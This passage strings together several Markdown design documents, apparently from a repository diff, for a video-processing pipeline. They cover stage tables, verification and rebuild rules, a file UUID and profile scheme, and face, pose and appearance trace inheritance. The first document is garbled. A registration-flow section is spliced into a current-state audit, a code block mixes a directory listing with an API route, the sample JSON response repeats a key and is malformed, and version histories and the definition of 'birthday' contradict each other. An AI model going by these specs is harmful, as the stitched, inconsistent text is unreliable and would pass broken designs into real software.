| 1c: asrx | cut.json, asr.json | `{uuid}.asrx.json` | speaker_detections | — |
| 1d: ocr | video file | `{uuid}.ocr.json` | processor_results | — |
| 1e: face | video file | `{uuid}.face.json` | processor_results | `_faces` (initial push) |
| 1f: pose | face.json, video file | `{uuid}.pose.json` | processor_results | — |
| 1g: appearance | pose.json, video file | `{uuid}.appearance.json` | processor_results | — |
| 1h: face_dedup | face.json | `{uuid}.face_cluster.json` | face_clusters | — |
**Note**: 1h (Face Deduplication) is currently `optional + manual`. It will be integrated into the automated pipeline after testing is complete.
**Scene Key Frames** (1a post-process):
After CUT completes, extracts the middle frame from each scene as `{uuid}_scene_{n}.jpg` for VLM analysis:
| Output | Purpose |
|---------|---------|
| `{uuid}_scene_1.jpg` | Representative frame from scene 1 |
| `{uuid}_scene_2.jpg` | Representative frame from scene 2 |
| ... | ... |
These key frames enable:
- VLM scene understanding (caption, objects, actions)
- Scene-level search and filtering
- Thumbnail generation for scene navigation
### 3.3 Post-Process (S2)
| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant |
|-----------|----------------|----------------|-----------|--------|
| 2a: face_trace | face.json | `{uuid}.face_traced.json` | — | `_faces` (trace_id update) |
| 2b: rule1 | asrx.json | `{uuid}.rule1.json` | chunk, pre_chunks | — |
| 2c: vectorize | chunk (DB) | `{uuid}.vectorize.json` | chunk_vectors | main collection |
| 2d: identity_agent | face_cluster.json | `{uuid}.identity_agent.json` | file_identities | — |
### 3.4 TKG Build (S3)
| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant |
|-----------|----------------|----------------|-----------|--------|
| 3a: tkg_nodes | All processor JSONs, trace profiles | `{uuid}.tkg_nodes.json` | tkg_nodes | — |
| 3b: tkg_edges | tkg_nodes.json, asrx.json | `{uuid}.tkg_edges.json` | tkg_edges | — |
### 3.5 Rule2 (S4)
| Sub-Stage | Input Artifacts | Output Artifact | DB Tables | Qdrant |
|-----------|----------------|----------------|-----------|--------|
| 4a: rule2 | tkg_edges.json, chunk (DB) | `{uuid}.rule2.json` | chunk (relationship type) | main collection |
### 3.6 Complete (S5)
| Sub-Stage | Input | Output | DB Tables |
|-----------|-------|--------|-----------|
| 5a: complete | All above stages verified | status = "completed" | videos.status |
---
## 4. Verification
### 4.1 Verification Levels
Each sub-stage has three verification levels:
| Level | Check | Description |
|-------|-------|-------------|
| L1: Artifact exists | `{uuid}.{stage}.json` on disk | Required for all stages |
| L2: Content valid | JSON parseable + non-empty array/object | Ensures output is usable |
| L3: DB/Qdrant consistent | Row count > 0 or point count > 0 | Ensures data was written |
### 4.2 Verification Matrix
| Sub-Stage | L1 (exists) | L2 (valid) | L3 (DB/Qdrant) |
|-----------|:-----------:|:----------:|:--------------:|
| 0a: probe | `.probe.json` | non-empty | — |
| 0b: profile | `.profile.json` | has file_uuid | videos row exists |
| 0c: key_frame | `.key_frame.jpg` | file size > 0 | — |
| 1a: cut | `.cut.json` | non-empty | processor_results > 0 |
| 1b: asr | `.asr.json` | non-empty | processor_results > 0 |
| 1c: asrx | `.asrx.json` | non-empty | speaker_detections > 0 |
| 1d: ocr | `.ocr.json` | non-empty | processor_results > 0 |
| 1e: face | `.face.json` | non-empty | Qdrant `_faces` > 0 |
| 1f: pose | `.pose.json` | non-empty | processor_results > 0 |
| 1g: appearance | `.appearance.json` | non-empty | processor_results > 0 |
| 1h: face_dedup | `.face_cluster.json` | non-empty | face_clusters > 0 |
| 2a: face_trace | `.face_traced.json` | non-empty | Qdrant `_faces` trace_id set |
| 2b: rule1 | `.rule1.json` | non-empty | chunk (sentence) > 0 |
| 2c: vectorize | `.vectorize.json` | non-empty | chunk_vectors > 0 |
| 2d: identity_agent | `.identity_agent.json` | non-empty | file_identities > 0 |
| 3a: tkg_nodes | `.tkg_nodes.json` | non-empty | tkg_nodes > 0 |
| 3b: tkg_edges | `.tkg_edges.json` | non-empty | tkg_edges > 0 |
| 4a: rule2 | `.rule2.json` | non-empty | chunk (relationship) > 0 |
### 4.3 Status Values
| Status | Meaning |
|--------|---------|
| `pending` | Not yet started |
| `running` | Currently executing |
| `completed` | L1 + L2 + L3 all pass |
| `failed` | L1 passes but L2 or L3 fails |
| `missing` | L1 fails (artifact not on disk) |
| `skipped` | Optional stage not run |
---
## 5. Rebuild
### 5.1 Rebuild Principle
Any sub-stage can be rebuilt independently:
1. Read input artifacts (from disk or DB)
2. Re-run the stage logic (processor or post-processor)
3. Write output artifact + update DB/Qdrant
### 5.2 Rebuild Dependency
To rebuild stage N, all its dependency stages must be `completed`:
| Stage | Required Dependencies |
|-------|----------------------|
| 0a-0c | video file on disk |
| 1a: cut | 0a (probe) |
| 1b: asr | video file |
| 1c: asrx | 1a (cut) + 1b (asr) |
| 1d: ocr | video file |
| 1e: face | video file |
| 1f: pose | 1e (face) |
| 1g: appearance | 1f (pose) |
| 1h: face_dedup | 1e (face) |
| 2a: face_trace | 1e (face) |
| 2b: rule1 | 1c (asrx) |
| 2c: vectorize | 2b (rule1) — chunks in DB |
| 2d: identity_agent | 1h (face_dedup) — optional |
| 3a: tkg_nodes | 1e (face), 2a (face_trace), 1c (asrx), 1d (ocr), 1g (appearance) |
| 3b: tkg_edges | 3a (tkg_nodes) + 1c (asrx) |
| 4a: rule2 | 3b (tkg_edges) + 2b (rule1) — chunks in DB |
| 5a: complete | All required stages completed |
### 5.3 Rebuild API
```
{OUTPUT_DIR}/
{file_uuid}.probe.json ← ffprobe
{file_uuid}.face.json ← face detection
{file_uuid}.pre.json ← pre-processor (NEW)
POST /api/v1/file/:file_uuid/rebuild/:stage
```
- Validates dependencies are met
- Re-runs the stage
- Returns updated verification status
### 5.4 Rebuild via CLI
```bash
# Check all stages
python3 scripts/lifecycle_check.py --file-uuid <UUID>
# Rebuild specific stage
python3 scripts/lifecycle_check.py --file-uuid <UUID> --rebuild 1c
# Rebuild from first missing stage
python3 scripts/lifecycle_check.py --file-uuid <UUID> --rebuild auto
```
---
## 6. Frontend Display
### 6.1 Two-Layer Architecture
**Layer 1: High-Level Summary** (default view)
```
┌─────────────────────────────────────────────────────────┐
│ ▶ S0: Register ████████████ 3/3 completed │
│ ▶ S1: Processors ████████░░░░ 6/8 partial │
│ ▶ S2: Post-Process ██░░░░░░░░░░ 1/4 running │
│ ▶ S3: TKG Build ░░░░░░░░░░░░ 0/2 pending │
│ ▶ S4: Rule2 ░░░░░░░░░░░░ 0/1 pending │
│ ▶ S5: Complete ░░░░░░░░░░░░ 0/1 pending │
└─────────────────────────────────────────────────────────┘
```
**Layer 2: Expandable Sub-Stages** (click to expand)
```
┌─────────────────────────────────────────────────────────┐
│ ▼ S1: Processors ████████░░░░ 6/8 partial │
│ ├─ 1a: CUT ✅ completed │
│ ├─ 1b: ASR ✅ completed │
│ ├─ 1c: ASRX ✅ completed │
│ ├─ 1d: OCR ✅ completed │
│ ├─ 1e: Face ✅ completed │
│ ├─ 1f: Pose ✅ completed │
│ ├─ 1g: Appearance ❌ missing │
│ └─ 1h: Face Dedup ⏭ skipped (manual) │
└─────────────────────────────────────────────────────────┘
```
### 6.2 Sub-Stage Display Names
| Code Name | Display Name |
|-----------|-------------|
| probe | Probe (ffprobe) |
| profile | File Profile |
| key_frame | Key Frame |
| cut | Scene Detection (CUT) |
| asr | Speech Recognition (ASR) |
| asrx | Speaker Diarization (ASRX) |
| ocr | Text Recognition (OCR) |
| face | Face Detection |
| pose | Pose Estimation |
| appearance | Appearance Features |
| face_dedup | Face Deduplication |
| face_trace | Face Tracking |
| rule1 | Rule1 Ingestion |
| vectorize | Vector Embedding |
| identity_agent | Identity Agent |
| tkg_nodes | TKG Nodes |
| tkg_edges | TKG Edges |
| rule2 | Rule2 Ingestion |
| complete | Complete |
### 6.3 API Contract
The frontend fetches stage data from:
```
GET /api/v1/stats/pipeline/:file_uuid
```
Response:
```json
{
"file_name": "charade.mp4",
"file_path": "/data/demo/charade.mp4",
"canonical_path": "/private/data/demo/charade.mp4",
"content_hash": "a1b2c3d4e5f6...",
"probe_json": {
"format": { "duration": "6879.3", "size": "2147483648" },
"streams": [...]
},
"birthday": "2026-05-15T02:15:00Z",
"file_uuid": "aeed71342a899fe4b4c57b7d41bcb692",
"file_size": 2147483648,
"file_type": "video | image | document | audio",
"pre_processed_at": "2026-05-15T02:15:05Z"
"file_uuid": "abc123",
"overall_progress": 0.45,
"stages": [
{
"name": "register",
"weight": 0.05,
"progress": 1.0,
"status": "completed",
"detail": "3/3 sub-stages",
"sub_stages": [
{"name": "probe", "status": "completed", "artifact": "probe.json"},
{"name": "profile", "status": "completed", "artifact": "profile.json"},
{"name": "key_frame", "status": "completed", "artifact": "key_frame.jpg"}
]
},
{
"name": "processors",
"weight": 0.40,
"progress": 0.75,
"status": "partial",
"detail": "6/8 sub-stages",
"sub_stages": [
{"name": "cut", "status": "completed", "artifact": "cut.json"},
{"name": "asr", "status": "completed", "artifact": "asr.json"},
{"name": "asrx", "status": "completed", "artifact": "asrx.json"},
{"name": "ocr", "status": "completed", "artifact": "ocr.json"},
{"name": "face", "status": "completed", "artifact": "face.json"},
{"name": "pose", "status": "completed", "artifact": "pose.json"},
{"name": "appearance", "status": "missing", "artifact": "appearance.json"},
{"name": "face_dedup", "status": "skipped", "artifact": "face_cluster.json"}
]
}
],
"updated_at": "2026-07-22T18:00:00Z"
}
```
### Key Design: file_uuid = f(mac, birthday, path, filename)
---
The `birthday` is `file modification time` (mtime) — obtained from `fs::metadata().modified()`. Using mtime instead of birthtime ensures file_uuid stability when files are transferred between systems via rsync (which preserves mtime but not birthtime on macOS).
## 7. Weight Distribution
### 7.1 High-Level Stage Weights
| Stage | Weight | Rationale |
|-------|--------|-----------|
| S0: Register | 5% | Fast, prerequisite for everything |
| S1: Processors | 40% | Most time-consuming, GPU-bound |
| S2: Post-Process | 20% | Face trace + Rule1 + Vectorize |
| S3: TKG Build | 20% | Node + edge construction |
| S4: Rule2 | 10% | Relationship chunk creation |
| S5: Complete | 5% | Final status update |
### 7.2 Processor Sub-Weights (within S1 = 40%)
| Processor | Sub-Weight | Rationale |
|-----------|-----------|-----------|
| CUT | 5% | Scene detection, ~10s |
| ASR | 15% | whisper-small, ~2min/10min video |
| ASRX | 20% | Speaker diarization, ~3min |
| OCR | 10% | PaddleOCR, ~1min |
| Face | 15% | CoreML FaceNet, ~1min |
| Pose | 10% | mediapipe, ~1min |
| Appearance | 5% | Feature extraction, ~30s |
| Face Dedup | 0% | Manual (not in automated pipeline) |
---
## 8. Artifact Naming Convention
All artifacts live in the output directory (`MOMENTRY_OUTPUT_DIR`):
```
birthday = 2026-05-15T02:15:00Z ← file birth time, never changes
↓
file_uuid = SHA256(mac | birthday | path | filename)
↓
Same file: same path + filename → same file_uuid, regardless of registration count
Different files: different content_hash → different file_uuid (even if same name)
{output_dir}/
├─ {uuid}.probe.json # S0: ffprobe metadata
├─ {uuid}.profile.json # S0: FileProfile
├─ {uuid}.key_frame.jpg # S0: extracted key frame
├─ {uuid}.cut.json # S1: scene boundaries
├─ {uuid}.asr.json # S1: speech transcription
├─ {uuid}.asrx.json # S1: speaker diarization
├─ {uuid}.ocr.json # S1: text detections
├─ {uuid}.face.json # S1: face detections + embeddings
├─ {uuid}.face_cluster.json # S1: face clustering (optional)
├─ {uuid}.pose.json # S1: pose estimations
├─ {uuid}.appearance.json # S1: appearance features
├─ {uuid}.face_traced.json # S2: face tracking with trace_id
├─ {uuid}.rule1.json # S2: sentence chunks
├─ {uuid}.vectorize.json # S2: embedding stats
├─ {uuid}.identity_agent.json # S2: identity matching (optional)
├─ {uuid}.tkg_nodes.json # S3: TKG node dump
├─ {uuid}.tkg_edges.json # S3: TKG edge dump
├─ {uuid}.rule2.json # S4: relationship chunks
└─ {uuid}/ # Trace profiles directory
├─ trace_0/
│ ├─ trace_profile.json
│ ├─ key_frame.jpg
│ └─ key_face.jpg
├─ trace_1/
│ └─ ...
└─ trace_N/
```
## Phase 2: Registration (Citizenship)
---
### POST /api/v1/files/register
## 9. Current State Audit (Gamma 8)
```bash
curl -X POST http://localhost:3002/api/v1/files/register \
-H "X-API-Key: ..." \
-H "Content-Type: application/json" \
-d '{"file_path":"/data/demo/charade.mp4"}'
```
File: `d3f9ae8e471a1fc4d47022c66091b920` (Gamma 8-Director Chih-Lin Yang)
### Flow
| Sub-Stage | Artifact | Status |
|-----------|----------|--------|
| 0a: probe | probe.json | ✅ exists |
| 0b: profile | profile.json | ❌ missing |
| 0c: key_frame | key_frame.jpg | ❌ missing |
| 1a: cut | cut.json | ✅ exists |
| 1b: asr | asr.json | ✅ exists |
| 1c: asrx | asrx.json | ✅ exists |
| 1d: ocr | ocr.json | ✅ exists |
| 1e: face | face.json | ✅ exists |
| 1f: pose | pose.json | ✅ exists |
| 1g: appearance | appearance.json | ❌ missing |
| 1h: face_dedup | face_cluster.json | ⏭ skipped (manual) |
| 2a: face_trace | face_traced.json | ✅ exists |
| 2b: rule1 | rule1.json | ❌ missing |
| 2c: vectorize | vectorize.json | ❌ missing |
| 2d: identity_agent | identity_agent.json | ❌ missing |
| 3a: tkg_nodes | tkg_nodes.json | ❌ missing |
| 3b: tkg_edges | tkg_edges.json | ❌ missing |
| 4a: rule2 | rule2.json | ❌ missing |
```
1. Check {OUTPUT_DIR}/{file_uuid}.pre.json
├─ Exists AND content_hash matches → use cached (skip SHA256 + probe)
└─ Not exists OR hash mismatch → compute fresh (existing logic)
2. Dedup check: SELECT file_uuid FROM videos WHERE content_hash = $1
├─ Found → already_exists: true (identical DNA = same file)
└─ Not found → continue
3. Name conflict check + auto-rename if needed
└─ charade.mp4 → charade (1).mp4 (same name, different content)
4. INSERT INTO videos (
file_uuid, file_path, file_name, file_type,
duration, width, height, fps,
probe_json, content_hash, status, registration_time
) VALUES (
$1, $2, $3, $4, $5, $6, $7, $8, $9, $10,
'registered', NOW() ← status=registered, registration_time=NOW()
)
```
## Data Separation
| Field | Source | Computed When | Mutable |
|-------|--------|---------------|:------:|
| `birthday` | `fs::metadata().modified()` (mtime) | Pre-process (once) | ❌ Never (stable across rsync) |
| `content_hash` (SHA256) | Full file | Pre-process (once) | ❌ Never (unless file modified) |
| `file_uuid` | SHA256(mac\|birthday\|path\|filename) | Pre-process (once) | ❌ Never |
| `registration_time` | `NOW()` at register | Register API | ✅ Per registration |
| `status` | — | Register API | `unregistered` → `registered` |
## File Lifecycle State Diagram
```
File detected by watcher (detection only, no modification)
│
│ Pre-processing triggered explicitly (API or register)
▼
[Pre-Processor]
├─ SHA256 (DNA / fingerprint)
├─ ffprobe (metadata extraction)
└─ file_uuid (birth certificate ID)
│
▼
{file_uuid}.pre.json
status = unregistered (no DB record)
│
│ (user calls POST /api/v1/files/register)
▼
[Register Handler]
├─ Read .pre.json → skip recomputation
├─ Dedup check (content_hash collision?)
├─ Name check + rename?
└─ INSERT INTO videos
│
▼
status = registered
registration_time = NOW()
```
## Implementation Checklist
| # | Task | File |
|---|------|------|
| 1 | Expose `pre_process_file()` as public function (SHA256 + probe + file_uuid → `.pre.json`) | `src/watcher/watcher.rs` |
| 2 | Register: read `.pre.json`, skip SHA256/probe if cached | `src/api/server.rs` → `register_single_file` |
| 3 | file_uuid: use `birthday` from `.pre.json` (or `fs::metadata().modified()` fallback) | `src/api/server.rs` |
| 4 | INSERT status: `registered`, registration_time: `NOW()` | `src/api/server.rs` |
**Observations**:
- S1 processors mostly complete, but Appearance missing (1g)
- S0 profile/key_frame missing (registration may not have created them)
- S2-S4 all have DB data but no flat `.json` dumps
---
## Version History
| Version | Date | Changes |
|---------|------|---------|
| V1.0 | 2026-05-15 | Initial design — birth certificate (pre-process) + civil registration two-phase flow |
| V1.1 | 2026-05-15 | Reclassified from DESIGN to STANDARDS as design standard |
| V1.2 | 2026-05-15 | mtime replaces birthtime for file_uuid stability across rsync; watcher is detection-only |
| Version | Date | Author | Changes |
|---------|------|--------|---------|
| 1.2 | 2026-07-22 | OpenCode | Added CUT scene key frames extraction for VLM analysis |
| 1.1 | 2026-07-22 | OpenCode | Added S0b: audio_track classification (VAD) — 6 stages, 15 sub-stages |
| 1.0 | 2026-07-22 | OpenCode | Initial design — 6 stages, 14 sub-stages, I/O specs, verification, rebuild |
docs_v1.0/DESIGN/FILE_PROFILE_V1.0.md
+153
View File
@@ -0,0 +1,153 @@
# File Profile V1.0
**Status:** Active
**Version:** 1.0
**Date:** 2026-07-22
**Scope:** File identity artifact — persistent on-disk profile per registered file
---
## Problem
- 5 zombie files in DB: `file_uuid` exists but `file_name` and `file_path` are empty — no way to recover
- File identity lives only in PostgreSQL; no on-disk fallback
- `birth_registration` written by `ingestion.rs` but **not** by `files.rs` API path
- No file history — if a file moves or is renamed, no record of where it was
## Design
A JSON file created **first** during registration, stored flat in `MOMENTRY_OUTPUT_DIR`:
```
{MOMENTRY_OUTPUT_DIR}/{file_uuid}.profile.json
```
### JSON Structure
```json
{
"version": "1.0",
"file_uuid": "84d838f260e1881a0daa55fabbc8e434",
"file_name": "view28.mp4",
"file_type": "video",
"birth": {
"mac_address": "a1:b2:c3:d4:e5:f6",
"birthday": "2026-04-13T23:00:49+08:00",
"original_path": "/Users/accusys/momentry/var/sftpgo/data/demo",
"original_filename": "view28.mp4",
"canonical_path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4",
"content_hash": "abc123..."
},
"current": {
"path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4",
"file_name": "view28.mp4",
"file_type": "video"
},
"history": [
{
"action": "registered",
"timestamp": "2026-07-22T14:30:00+08:00",
"path": "/Users/accusys/momentry/var/sftpgo/data/demo/view28.mp4",
"file_name": "view28.mp4"
}
],
"metadata": {
"duration": 243.24,
"width": 720,
"height": 890,
"fps": 60.0,
"total_frames": 7297
},
"key_frame": null
}
```
### Fields
| Field | Purpose |
|-------|---------|
| `version` | Profile schema version (for future migration) |
| `file_uuid` | The deterministic UUID |
| `file_name` | Original filename at registration |
| `file_type` | video/audio/image/document/... |
| `birth.mac_address` | MAC address used to compute UUID |
| `birth.birthday` | File mtime (RFC3339) used to compute UUID |
| `birth.original_path` | Parent directory at registration |
| `birth.original_filename` | Filename at registration |
| `birth.canonical_path` | Canonical (resolved symlinks) path at registration |
| `birth.content_hash` | SHA256 of file content |
| `current.path` | Latest known path (updated when file moves) |
| `current.file_name` | Latest known filename (updated on rename) |
| `current.file_type` | Latest file type |
| `history` | Array of all path/name changes with timestamps |
| `metadata` | Media info (duration, resolution, etc.) |
| `key_frame` | Base64-encoded JPEG of representative frame (video only), or null |
### key_frame
For video files, `key_frame` stores a **base64-encoded JPEG** of a representative frame extracted at registration time (typically at 10% of duration or the first non-black frame). For non-video files, this field is `null`.
Purpose:
- Instant visual identification without needing to open the video
- Fallback if thumbnails or `.faces/` crops are deleted
- Portable — the profile file is self-contained
Extraction:
- Uses ffmpeg to grab a frame at `duration * 0.1` (or first frame if duration unknown)
- JPEG quality 85, max width 640px
- Stored inline as base64 string in the JSON
## Implementation
### New Module
`src/core/file_profile.rs` — `FileProfile` struct with:
- `from_registration_params(...)` — build at registration time
- `load_from_disk(uuid, output_dir)` — read `{uuid}.profile.json`
- `save_to_disk(&self, output_dir)` — write `{uuid}.profile.json`
- `update_current_path(&mut self, new_path, new_name)` — append to history, update current
- `extract_key_frame(video_path, duration)` — ffmpeg frame extraction + base64
### Registration Flow
1. DB INSERT (existing)
2. **Build FileProfile** from all params (mac, birthday, path, name, content_hash, probe metadata)
3. **Extract key_frame** if video (ffmpeg)
4. **Save `{uuid}.profile.json`** — first artifact on disk
5. CUT processing (existing)
### Update Flow
When `file_path` or `file_name` changes via API:
1. Load profile from disk
2. `profile.update_current_path(new_path, new_name)`
3. Save updated profile
### Fallback Flow
If DB data is missing (zombie files):
1. Load profile from disk
2. Profile's `current.path` and `current.file_name` provide recovery data
### Files Changed
| File | Change |
|------|--------|
| `src/core/file_profile.rs` | **NEW** — FileProfile struct |
| `src/core/mod.rs` | Add `pub mod file_profile` |
| `src/api/files.rs` | Write profile after registration; fallback; enrich GET; cleanup |
| `src/core/ingestion.rs` | Write profile after registration |
| `src/api/profile.rs` | Enrich GET file-profile with profile data + history |
### Backfill
Existing 16 files get profiles generated from DB fields + probe.json data.
5 zombie files get minimal profiles (UUID + file_type + content_hash from DB).
---
## Version History
| Version | Date | Change |
|---------|------|--------|
| 1.0 | 2026-07-22 | Initial design — file profile with key_frame |
docs_v1.0/DESIGN/Face_Pose_Appearance_Design.md
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# Face-Pose-Appearance Tracking Design
**Version**: 1.0
**Date**: 2026-07-19
**Status**: Ready for Implementation
---
## 1. Overview
本文件定義 Face、Pose、Appearance 的追蹤系統設計，包含：
- Trace ID 繼承規則
- 擴張邏輯
- Appearance 色塊提取
- Agent Search 整合
---
## 2. Core Concepts
### 2.1 Identity vs Tracking
| Processor | Purpose | Description |
|-----------|---------|-------------|
| **Face** | Identity | Who is this person? 需要高品質 embedding |
| **Pose** | Tracking | Where is this person? 當 face occluded 時維持追蹤 |
| **Appearance** | Tracking | What do they look like? 當 pose occluded 時維持追蹤 |
### 2.2 Offline Processing Advantage
Offline 處理可以先做 face detection，再從 face traces 擴張 pose/appearance：
```
Face Detection → 知道身份錨點
↓
Face Tracking → 給予 trace_id
↓
Pose Expansion → 從 face traces 向外擴張
↓
Appearance Expansion → 從 pose traces 向外擴張
```
---
## 3. Processing Pipeline
### 3.1 Pipeline Order
| Order | Processor | Dependencies | Output | Description |
|-------|-----------|-------------|--------|-------------|
| 1 | `cut` | — | cut.json | Scene detection |
| 2 | `face` | — | face.json | Face detection (8Hz) + embedding |
| 3 | `face_trace` | face | face_traced.json | Face tracking (IoU + embedding) |
| 4 | `pose` | face_trace | pose.json | Pose expansion from traces |
| 5 | `appearance` | pose | appearance.json | Appearance extraction |
| 6 | `asr` | cut | asr.json | Speech-to-text |
| 7 | `asrx` | asr | asrx.json | Speaker diarization |
### 3.2 Sampling Rate
- **公式**: `sample_interval = floor(fps / 8)`
- **確保**: ≥ 8Hz 取樣率
- **範例**:
- 24fps → interval = 3 → 8Hz
- 30fps → interval = 3 → 10Hz
- 60fps → interval = 7 → 8.6Hz
---
## 4. Trace ID Inheritance
### 4.1 Inheritance Chain
```
Face Trace (identity anchor)
│ trace_id = 1, 2, 3, ...
│
▼ inherits trace_id
Pose Expansion
│ same trace_id per person
│
▼ inherits trace_id
Appearance Expansion
│ same trace_id per person
```
### 4.2 Frame Count Relationship
```
face_frames ≤ pose_frames ≤ appearance_frames
```
**原因**:
- Face: 只有臉部可見的 frames
- Pose: Face frames + 擴張 frames（臉被遮但身體可見）
- Appearance: Pose frames + 擴張 frames
### 4.3 Trace Connection
```
Face trace A (frames 1-10) Face trace B (frames 20-30)
↘ ↙
Pose 連接 (frames 15-18)
（同一人，中間臉被遮住）
```
**意義**: Pose 可以連接斷開的 face traces，屬於同一人。
---
## 5. Expansion Rules
### 5.1 Pose Expansion
**Algorithm**:
1. 讀取 face_traced.json，取得每個 trace_id 的 frames
2. 對每個 trace 的 frames 向外擴張（逐幀檢查）
3. 連續 3 幀無 pose detection → 停止擴張
4. 繼承 trace_id
5. 輸出 8Hz 取樣
**Parameters**:
| Parameter | Value | Description |
|-----------|-------|-------------|
| `miss_threshold` | 3 | 連續無檢測幀數 |
| `output_rate` | 8Hz | 輸出取樣率 |
### 5.2 Appearance Expansion
**Algorithm**:
1. 讀取 pose.json，取得每個 trace_id 的 frames
2. 對每個 pose frame，在 keypoint 位置提取顏色
3. 記錄整體亮度
4. 輸出 8Hz 取樣
**Parameters**:
| Parameter | Value | Description |
|-----------|-------|-------------|
| `color_radius` | 15 | 顏色取樣半徑（pixels） |
| `output_rate` | 8Hz | 輸出取樣率 |
---
## 6. Pose Output
### 6.1 Data Structure
```json
{
"frame_count": 1000,
"fps": 24.0,
"frames": [
{
"frame": 100,
"timestamp": 4.16,
"trace_id": 1,
"persons": [
{
"keypoints": [
{"name": "nose", "x": 315.9, "y": 364.2, "confidence": 0.85},
{"name": "left_shoulder", "x": 290.0, "y": 400.0, "confidence": 0.92}
],
"bbox": {"x": 280, "y": 350, "width": 100, "height": 200}
}
]
}
]
}
```
### 6.2 Bbox Validation
**原則**: Face bbox 應在 Pose bbox 內，或 IoU > 0.5
```
┌─────────────────────────┐
│ Pose bbox │
│ ┌─────────┐ │
│ │ Face │ │
│ │ bbox │ │
│ └─────────┘ │
└─────────────────────────┘
```
**用途**:
- 品質驗證：確保 pose/face 屬於同一人
- 匹配追蹤：用 bbox overlap 匹配 face/pose
---
## 7. Appearance Output
### 7.1 Keypoint-based Color Extraction
**原理**: 在 pose keypoint 位置取周圍平均色
```
Pose Keypoints 座標
↓
在每個 keypoint 位置取色
↓
記錄為 appearance
```
### 7.2 Body Part Mapping
| Keypoints | Body Part | Description |
|-----------|-----------|-------------|
| nose, eyes, ears | head | 帽子、頭髮顏色 |
| shoulders | torso | 上衣顏色 |
| hips, knees | legs | 褲子顏色 |
| ankles | feet | 鞋子顏色 |
### 7.3 Data Structure
```json
{
"frame_count": 1000,
"fps": 24.0,
"frames": [
{
"frame": 100,
"timestamp": 4.16,
"trace_id": 1,
"brightness": 0.75,
"colors": {
"head": [180, 150, 120],
"torso": [255, 50, 50],
"legs": [50, 50, 200],
"feet": [50, 200, 50]
}
}
]
}
```
### 7.4 Lighting Record
```json
{
"brightness": 0.75
}
```
**用途**: 不同光源下的顏色校正
---
## 8. VLM Complementary Strategy
### 8.1 Two-Level Approach
| Level | Method | Purpose |
|-------|--------|---------|
| **L1** | Keypoint 快取色 | 快速搜尋、初步候選 |
| **L2** | VLM 驗證 | 複雜情況、細節補充（可選） |
### 8.2 Workflow
```
搜尋「穿紅上衣的人」
↓
L1: Keypoint 取色搜尋 → Top 20 候選
↓
L2: VLM 驗證（需要時）→ 確認顏色、補充細節
↓
最終結果 → Top 10 + 置信度
```
---
## 9. Agent Search Integration
### 9.1 Agent Tool Design
```python
def search_by_appearance(
color: str, # "red", "blue", "green"
body_part: str, # "torso", "legs", "feet"
top_k: int = 10
) -> List[SearchResult]:
"""
搜尋穿特定顏色衣物的人
Returns:
[
{"trace_id": 1, "identity": "John", "confidence": 0.85},
{"trace_id": 2, "identity": "Mary", "confidence": 0.72},
]
"""
```
### 9.2 Query Examples
| User Query | Agent Action |
|------------|--------------|
| 「穿紅上衣的人是誰？」 | search_by_appearance("red", "torso") → match identity |
| 「穿綠鞋子的人」 | search_by_appearance("green", "feet") |
| 「戴黑帽子的人」 | search_by_appearance("black", "head") |
### 9.3 Top-K Strategy
- **原則**: 找 top 10-20 最相似的
- **容許誤差**: 光源、角度差異可接受
- **近似即可**: 不需精確匹配
---
## 10. Implementation Files
| Component | File | Status |
|-----------|------|--------|
| Face Detection | `swift_face.swift` | ✅ Complete |
| Face Tracking | `store_traced_faces.py` | ✅ Complete |
| Pose Expansion | `swift_pose_expansion.swift` | ✅ Complete |
| Appearance Expansion | `swift_appearance_expansion.swift` | ✅ Complete |
| Pose Processor | `pose_processor_v2.py` | ✅ Complete |
| Appearance Processor | `appearance_processor_v2.py` | ✅ Complete |
---
## 11. Testing Checklist
- [ ] 清除測試檔案重新註冊
- [ ] 執行完整流程：face → trace → pose → appearance
- [ ] 驗證 trace_id 繼承正確性
- [ ] 驗證 frame count 關係 (face ≤ pose ≤ appearance)
- [ ] 驗證 bbox 包含關係 (face bbox ⊂ pose bbox)
- [ ] 測試 Agent search_by_appearance
---
## 12. Version History
| Version | Date | Changes |
|---------|------|---------|
| 1.0 | 2026-07-19 | Initial design |
docs_v1.0/DESIGN/Trace_Inheritance_Rules.md
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# Trace ID Inheritance & Expansion Rules
**Date**: 2026-07-19
**Author**: Core Team
**Status**: Final
---
## Overview
This document defines the trace ID inheritance rules and expansion logic for Face, Pose, and Appearance processing.
---
## Core Concepts
### Face = Identity, Pose/Appearance = Tracking
| Processor | Purpose | Description |
|-----------|---------|-------------|
| **Face** | Identity | Who is this person? Requires high-quality embedding for recognition. |
| **Pose** | Tracking | Where is this person? Maintains tracking when face is occluded. |
| **Appearance** | Tracking | What do they look like? Maintains tracking when pose is occluded. |
### Offline Processing Advantage
In offline processing, we can:
1. First detect all faces (identity anchors)
2. Then expand pose/appearance from face traces
This is different from real-time tracking where pose/appearance runs continuously and face anchors identity when visible.
---
## Processing Pipeline
### Step 1: Face Detection (8Hz)
```
swift_face → face.json
```
- Sampling rate: `floor(fps / 8)` (ensures ≥ 8Hz)
- Output: Face bounding boxes with landmarks and embeddings
### Step 2: Face Tracking
```
store_traced_faces.py → face_traced.json
```
- Algorithm: IoU + embedding similarity
- Output: Each face assigned a `trace_id`
- Purpose: Group same-person faces across frames
### Step 3: Pose Expansion
```
swift_pose_expansion → pose.json
```
**Input**: face_traced.json (frames with trace_id)
**Expansion Algorithm**:
1. For each trace_id, get all face frames
2. Expand outward (forward/backward) checking for pose
3. Stop when 3 consecutive frames have no pose detection
4. Inherit trace_id from face
**Output**: Pose keypoints with inherited trace_id
### Step 4: Appearance Expansion
```
swift_appearance_expansion → appearance.json
```
**Input**: pose.json (frames with trace_id)
**Expansion Algorithm**:
1. For each trace_id, get all pose frames
2. Expand outward (forward/backward) checking for appearance
3. Stop when 3 consecutive frames have HSV similarity < 0.5
4. Inherit trace_id from pose
**Output**: HSV histograms with inherited trace_id
---
## Trace ID Inheritance
```
Face Trace (identity anchor)
│
│ inherits trace_id
▼
Pose Expansion
│
│ inherits trace_id
▼
Appearance Expansion
```
**Key Points:**
- Trace ID originates from face tracking
- Pose inherits the same trace_id (same person)
- Appearance inherits the same trace_id (same person)
- This enables linking all detections to the same identity
---
## Frame Count Relationship
```
face frames ≤ pose frames ≤ appearance frames
```
**Explanation:**
- Face: Only frames where face is clearly visible
